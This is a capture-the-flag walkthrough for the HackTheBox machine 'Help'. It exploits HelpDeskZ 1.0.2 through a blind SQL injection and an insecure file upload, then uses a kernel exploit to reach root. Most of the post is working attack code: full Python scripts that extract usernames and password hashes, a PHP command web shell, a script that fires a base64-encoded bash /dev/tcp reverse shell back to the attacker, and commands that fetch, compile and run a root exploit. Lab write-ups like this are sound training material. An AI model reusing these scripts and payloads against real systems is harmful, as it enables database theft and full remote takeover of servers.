Home HackTheBox - Help
Post
Cancel

HackTheBox - Help

This is an Easy box from HackTheBox. But not really too easy, I spent a good time in it.

It’s OS is Linux, which is common in HackTheBox Machines.

It’s exploration was through Web. We’ll make a Blind SQLInjection with code review to find it and make a exploit to automate it. We can get reverse shell trough a insecure file upload. When we try to upload a php file, the app triggers an error, but the php are being uploaded anyway in other folder with other name, we can get it and execute commands on the box.

My rate for this machine is 6/10.

In the end you can find the automated script to explore this machine!

Diagram

Here is the diagram for this machine. It’s a resume from it.

graph TD
    A[Help] -->|Enumeration| B(Nmap)
    B --> C[Open Ports]
    C -->|SSH| D[22]
    C -->|HelpDeskZ| E[80]
    C -->|nodejs| F[3000]
    F -->|Curl| G(Creds) --> I[Admin Creds] --> E
    E -->|New Ticket| H(File Upload)
    E -->|Blind SQLinjection| L[Database Dump]
    E -->|Python Script| L
    H -->|Python Script| J[Reverse Shell]
    J -->|Kernel| K[ROOT]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.121

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 3000

We open the browser on port 3000 to see what is it

It seems to be an API to nodejs. We start enumerating it

GraphSQL Guide

I will use curl, it’s better to hit the API. Then I’ll use -d ‘{ “query”: “[query]” }’ to send the query. Finally, I’ll use jq to pretty see the results on the terminal.

1
2
3
4
5
6
7
curl -s 10.10.10.121:3000/graphql -H "Content-Type: application/json" -d '{ "query": "{ __schema { queryType { name, fields { name, description } } } }" }' | jq  -c .

curl -s 10.10.10.121:3000/graphql -H "Content-Type: application/json" -d '{ "query": "{ __schema { types { name } } }" }' | jq -c .

curl -s 10.10.10.121:3000/graphql -H "Content-Type: application/json" -d '{ "query": "{ __type(name: \"User\") { name fields { name } } }" }' | jq .

curl -s 10.10.10.121:3000/graphql -H "Content-Type: application/json" -d '{ "query": "{ user { username password } }" }' | jq .

We crack it

1
2
helpme@helpme.com
godhelpmeplz

Port 80

Once we found just the port 80 opened, so let’s focus on this one to enumerate it.

We open it on the browser and see what is being shown.

We look at the source code, nothing useful

Start enumerate it with Gobuster

I’ll run gobuster against the site

1
gobuster dir -u http://10.10.10.121 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

We found a /support page, which is very interesting

Looking for the helpdesk on Github we see how to get it’s version with commmon files in it

So it’s version 1.0.2

WhiteBox Approach

To explore this box, we will use a whitebox approach, we cheat and get a ssh connection as root to this box. To better debug it.

We enable the php error logging

1
sed -i 's/display_errors = Off/display_errors = On/g' php.ini

We enable the sql loging

1
2
sed -i 's/#general_log/general_log/g' mysqld.cnf
/etc/init.d/mysql restart

Now we see the queries reaching the box on the file mysql.log

1
sudo tail -f /var/log/mysql/mysql.log

Now it’s better to debug it.

Vulnerability Discovery

Now we have set the machine properly, we can start hunting for vulnerabilities in it.

First vulnerability we always look for when dealing with php (web) app is SQLInjection.

We (authenticated) start to navigate through the web application, to see how it’s structured

We see that we can Submit Tickets. Always interesting when we can put some data on the server

SQLInjection

So, we start looking for how a query is done to the MySQL

1
grep -lRi select

After looking arround the files, we find somethins interesting on the file view_tickets_controller.php

On line 91. Seems that the msg_id is not being sanitized.

1
$attachment = $db->fetchRow("SELECT *, COUNT(id) AS total FROM ".TABLE_PREFIX."attachments WHERE id=".$db->real_escape_string($params[2])." AND ticket_id=".$params[0]." AND msg_id=".$params[3]);

We got a SQLInjection in it. Once param it’s not being properly sanitized by the application.

It’s authenticated, because you must get an account to download the ticket to trigger the SQLInjection.

So, we log in the application, submit a ticket and go to View Ticket

We set the Intercept to On on BurpSuite

And we get the request

On the MySQL log, we got

When we click Forward, we get it on the MySQL log, seems to be okay, an original request

Now we test to see it

We put on the end of the request the SQLInjection

and 1=2-- -

And we got error

Great! We got a SQLInjection without sanitization. So we can start exfiltrating data from it.

That’s a blind injection. I can pass some test in, and get true (downloaded attachment) or false (Whoops!) back.

For example

1
and (select (username) from staff limit 0,1) = 'admin'-- - 

Returns attachment, while

1
and (select (username) from staff limit 0,1) = '0x4rt3mis'-- -

returns Whoops!.

Let’s test it

With a valid query

With an invalid query

So, let’s make a exploit to exfiltrate data from it.

We will use the same skeleton from the Arbitrary File Upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3

import argparse
import requests
import sys

''' Setting up something important '''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-u', '--username', help='Username for bruteforce', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    username = args.username

    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

As the first PoC we got the version() of the mysql

sqli.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/python3
# Reference: https://www.exploit-db.com/exploits/41200
# Date: 2021-09-08
# Exploit Author: 0x4rt3mis
# Hack The Box - Help
# HelpDeskz SQLInjection Authenticated

import argparse
import requests
import sys

''' Setting up something important '''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

# Let's get the csrf token
def getCSRFToken(rhost):
	# Make csrfMagicToken global
	global csrf_token
	# Make the request to get csrf token
	csrf_page = r.get(login_url, verify=False, proxies=proxies)
	# Get the index of the page, search for csrfMagicToken in it
	index = csrf_page.text.find("csrfhash")
	# Get only the csrfMagicToken in it
	csrf_token = csrf_page.text[index:index+128].split('"')[2]
	if csrf_token:
		print("[+] We get the CSRF Token to login! [+]")
		return csrf_token
	else:
		print("[+] Cannot get the CSRF_TOKEN [+]")
		exit

# Let's log in on the app
def login(csrf_token,username,password):
	data = {"do": "login", "csrfhash": "%s" %csrf_token, "email": "%s" %username, "password": "%s" %password, "btn": "Login"}
	login = r.post(login_url, cookies=r.cookies, data=data, proxies=proxies)
	if "Invalid email address or password" in login.text:
		print("[+] Invalid email address or password!! [+]")
	else:
		print("[+] Login successsss!!! [+]")

# Now, let's get a ticket id
def getTicketID(rhost):
	# Make id_ticket global
	global id_ticket
	ticket_url = 'http://' + rhost + '/support/?v=view_tickets'
	# Make the request to get id_ticket
	ticket_page = r.get(ticket_url, verify=False, proxies=proxies)
	# Get the index of the page, search for csrfMagicToken in it
	index = ticket_page.text.find("param[]")
	# Get only the csrfMagicToken in it
	id_ticket = ticket_page.text[index:index+128].split('"')[0]
	id_ticket = id_ticket.split('=')[1]
	if id_ticket:
		print("[+] We get the Token ID to SQLInjection! [+]")
		return id_ticket
	else:
		print("[+] Cannot get the Token ID [+]")
		print("[+] Have you manually opened a ticket??? This is mandatory to exploit!! [+]")
		exit

# Now, let's trigger the sqlinjection to get the username
def getVersion(rhost,id_ticket):
	sqli_target = 'http://' + rhost +"/support/?v=view_tickets&action=ticket&param[]="+id_ticket+"&param[]=attachment&param[]=2&param[]=7"
	limit = 1
	char = 42
	prefix = []
	print("[+] The version of MySQL is.... [+]")
	while(char!=123):
		injection_string = " and 1=1 and ascii(substring((select version()),%d,1))= %s" %(limit,char)
		target_prefix = sqli_target + injection_string
		response = r.get(target_prefix,proxies=proxies).text
		if "couldn't find" not in response:
			prefix.append(char)
			limit=limit+1
			extracted_char = ''.join(map(chr,prefix))
			sys.stdout.write(extracted_char)
			sys.stdout.flush()
			char=42
		else:
			char=char+1
			prefix = []

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-u', '--username', help='Username for bruteforce', required=True)
    parser.add_argument('-p', '--password', help='Password for the email', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    username = args.username
    password = args.password

    global login_url
    login_url = 'http://' + rhost + '/support/?v=login'
    '''Here we call the functions'''
    # Get the CSRF token
    getCSRFToken(rhost)
    # Try to login on the app
    login(csrf_token,username,password)
    # Let's get the id_ticket
    getTicketID(rhost)
    # Let's get the version of mysql
    getVersion(rhost,id_ticket)
    
if __name__ == '__main__':
    main()

Now, let’s exfiltrate the username and password hash of it

sqli_extract.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#!/usr/bin/python3
# Reference: https://www.exploit-db.com/exploits/41200
# Date: 2021-09-08
# Exploit Author: 0x4rt3mis
# Hack The Box - Help
# HelpDeskz SQLInjection Authenticated

import argparse
import requests
import sys

''' Setting up something important '''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

# Let's get the csrf token
def getCSRFToken(rhost):
	# Make csrfMagicToken global
	global csrf_token
	# Make the request to get csrf token
	csrf_page = r.get(login_url, verify=False, proxies=proxies)
	# Get the index of the page, search for csrfMagicToken in it
	index = csrf_page.text.find("csrfhash")
	# Get only the csrfMagicToken in it
	csrf_token = csrf_page.text[index:index+128].split('"')[2]
	if csrf_token:
		print("[+] We get the CSRF Token to login! [+]")
		return csrf_token
	else:
		print("[+] Cannot get the CSRF_TOKEN [+]")
		exit

# Let's log in on the app
def login(csrf_token,username,password):
	data = {"do": "login", "csrfhash": "%s" %csrf_token, "email": "%s" %username, "password": "%s" %password, "btn": "Login"}
	login = r.post(login_url, cookies=r.cookies, data=data, proxies=proxies)
	if "Invalid email address or password" in login.text:
		print("[+] Invalid email address or password!! [+]")
	else:
		print("[+] Login successsss!!! [+]")

# Now, let's get a ticket id
def getTicketID(rhost):
	# Make id_ticket global
	global id_ticket
	ticket_url = 'http://' + rhost + '/support/?v=view_tickets'
	# Make the request to get id_ticket
	ticket_page = r.get(ticket_url, verify=False, proxies=proxies)
	# Get the index of the page, search for csrfMagicToken in it
	index = ticket_page.text.find("param[]")
	# Get only the csrfMagicToken in it
	id_ticket = ticket_page.text[index:index+128].split('"')[0]
	id_ticket = id_ticket.split('=')[1]
	if id_ticket:
		print("[+] We get the Token ID to SQLInjection! [+]")
		return id_ticket
	else:
		print("[+] Cannot get the Token ID [+]")
		print("[+] Have you manually opened a ticket??? This is mandatory to exploit!! [+]")
		exit

# Now, let's trigger the sqlinjection to get the username
def getVersion(rhost,id_ticket):
	sqli_target = 'http://' + rhost +"/support/?v=view_tickets&action=ticket&param[]="+id_ticket+"&param[]=attachment&param[]=2&param[]=7"
	limit = 1
	char = 42
	prefix = []
	print("[+] The version of MySQL is.... [+]")
	while(char!=123):
		injection_string = " and 1=1 and ascii(substring((select version()),%d,1))= %s" %(limit,char)
		target_prefix = sqli_target + injection_string
		response = r.get(target_prefix,proxies=proxies).text
		if "couldn't find" not in response:
			prefix.append(char)
			limit=limit+1
			extracted_char = ''.join(map(chr,prefix))
			sys.stdout.write(extracted_char)
			sys.stdout.flush()
			char=42
		else:
			char=char+1
			prefix = []
			

def getUsername(rhost,id_ticket):
	sqli_target = 'http://' + rhost +"/support/?v=view_tickets&action=ticket&param[]="+id_ticket+"&param[]=attachment&param[]=2&param[]=7"
	limit = 1
	char = 42
	prefix = []
	print("[+] The Username is.... [+]")
	while(char!=123):
		target_username = sqli_target + " and 1=1 and ascii(substr((select username from staff limit 0,1),"+str(limit)+",1))="+str(char)+" -- -"
		response = r.get(target_username,proxies=proxies).text
		if "couldn't find" not in response:
			prefix.append(char)
			limit=limit+1
			extracted_char = ''.join(map(chr,prefix))
			sys.stdout.write(extracted_char)
			sys.stdout.flush()
			char=42
		else:
			char=char+1
			prefix = []

def getPassword(rhost,id_ticket):
	sqli_target = 'http://' + rhost +"/support/?v=view_tickets&action=ticket&param[]="+id_ticket+"&param[]=attachment&param[]=2&param[]=7"
	limit = 1
	char = 42
	prefix = []
	print()
	print("[+] The Password is.... [+]")
	while(char!=123):
		target_username = sqli_target + " and 1=1 and ascii(substr((select password from staff limit 0,1),"+str(limit)+",1))="+str(char)+" -- -"
		response = r.get(target_username,proxies=proxies).text
		if "couldn't find" not in response:
			prefix.append(char)
			limit=limit+1
			extracted_char = ''.join(map(chr,prefix))
			sys.stdout.write(extracted_char)
			sys.stdout.flush()
			char=42
		else:
			char=char+1
			prefix = []
	print()

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-u', '--username', help='Username for bruteforce', required=True)
    parser.add_argument('-p', '--password', help='Password for the email', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    username = args.username
    password = args.password

    global login_url
    login_url = 'http://' + rhost + '/support/?v=login'
    '''Here we call the functions'''
    # Get the CSRF token
    getCSRFToken(rhost)
    # Try to login on the app
    login(csrf_token,username,password)
    # Let's get the id_ticket
    getTicketID(rhost)
    # Let's get the version of mysql
    #getVersion(rhost,id_ticket)
    # Let's get the username of it
    getUsername(rhost,id_ticket)
    # Let's get the password of it
    getPassword(rhost,id_ticket)
    
if __name__ == '__main__':
    main()

That’s it. Let’s continue exploring this box.

Arbitrary File Upload

When analyzing the code, we also see something interesting on the submit ticket function

I noticed when we try to upload any file with the extension .php the server triggers a error message

So, we started looking for this message error on the source code

1
grep -lRi "File is not allowed"

We found where it’s being defined

So we see how it’s being called on the code

Found two archives which call this function. Maybe we should take a closer look at the submit, to understand how it works.

We reach it.

Let’s analyze it.

Lines 137 - 139

Checks to see if the the attachment exists and set the variable $uploaddir to UPLOAD_DIR/tickets/, which is where the files will be send

Lines 140 - 143

Set more variables.

On line 140 seems to be getting the extension of the file

On line 141 it’s making the hash md5 of the filename + epoch time() and adding the extension to the end.

On line 143, set the variable $uploadedfile, which is the path + archive

Lines 144 - 147

On line 144, it moves the file to the dir. If not moved on line 146 show a error message

Lines 148 - 161

The important part is this message error on line 156. The message we got on the web.

What we can conclude?

The file is being uploaded, even the error message been shown to us.

The name of the file will be UPLOAD_DIR/tickets/HASHED.php

So we can make a script to get it working and achieve some malicious php code on it.

Here the archive we “upload” before

And here the code execution

Because of the Captcha, we cannot automate the upload part, what is really boring. But we can reproduce the steps after get it.

There are several CVEs already set to this vulnerability, you can look them and be happy. I’ll try to make it to learn how to explore this kind of vulnerability.

We will use our skeleton script to start mouting our functions to trigger it

rce.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/python3
# Date: 2021-09-07
# Exploit Author: 0x4rt3mis
# Hack The Box - Help
# Reference: https://www.exploit-db.com/exploits/40300

import argparse
import requests
import sys
import datetime
import time
import hashlib
import socket, telnetlib
from threading import Thread
import threading
import base64
import urllib.parse

''' Setting up something important '''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

# You must upload manually a file on the server with the content
# <?php system($_REQUEST["cmd"]); ?>
# After it, run the python script, to get it working and get a reverse shell on the box
# Example: python3 rce.py -t 10.10.10.121 -f cmd.php -lport 5555 -lip 10.10.14.14

'''Here come the Functions'''

# Setar o handler
def handler(lport,rhost):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %rhost) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()

# First, we must get the correct current time from the server, to avoid erros
def getCurrentTime(rhost):
    url = 'http://' + rhost
    b = r.get(url)
    global currentTime
    currentTime = int((datetime.datetime.strptime(b.headers['date'], '%a, %d %b %Y %H:%M:%S %Z')  - datetime.datetime(1970,1,1)).total_seconds())
    
# Now Let's iterate to see if we can get it there and execute
def getArchive(filename,rhost,currentTime):
    for x in range(0, 300):
        plaintext = filename + str(currentTime - x)
        md5hash = hashlib.md5(plaintext.encode()).hexdigest()
        global url_reverse
        url_reverse = 'http://' + rhost + '/support/uploads/tickets/' + md5hash + '.php'
        response = requests.head(url_reverse,proxies=proxies)
        if response.status_code == 200:
            print("[+] The php was FOUND! Let's GET RCE [+]")
            break

# Once we find the correct file, we need to get a reverse shell on the box with the simple cmd
def getRevShell(localip,lport,url_reverse):
    print("[+] Now Let's get the reverse shell! [+]")
    reverse = "bash -i >& /dev/tcp/%s/%s 0>&1" %(localip,lport)
    message_bytes = reverse.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    payload = {
    'cmd': 'echo ' + base64_message + '|base64 -d | bash'
}
    payload_str = urllib.parse.urlencode(payload, safe='|')
    r.get(url_reverse, params=payload_str, proxies=proxies, cookies=r.cookies)
    

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-f', '--file', help='Filename you just Uploaded', required=True)
    parser.add_argument('-lport', '--localport', help='Local port to receive the connection', required=True)
    parser.add_argument('-lip', '--localip', help='Local IP to receive the connection', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    filename = args.file
    lport = args.localport
    localip = args.localip
    '''Here we call the functions'''
    # Start the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Let's get the currenttime
    getCurrentTime(rhost)
    # Now, let's get the uploaded php
    getArchive(filename,rhost,currentTime)
    # Trigger the reverse shell
    getRevShell(localip,lport,url_reverse)
if __name__ == '__main__':
    main()

Help –> root

Now, let’s get root on this box. We’ve already played a lot with it.

It’s kernel

1
uname -a

1
searchsploit 4.4.0-116

We send it to the Help machine

1
searchsploit -m 44298

1
wget 10.10.14.20/44298.c

And we got root

1
2
3
gcc 44298.c -o exp
chmod +x exp
./exp

This post is licensed under CC BY 4.0 by the author.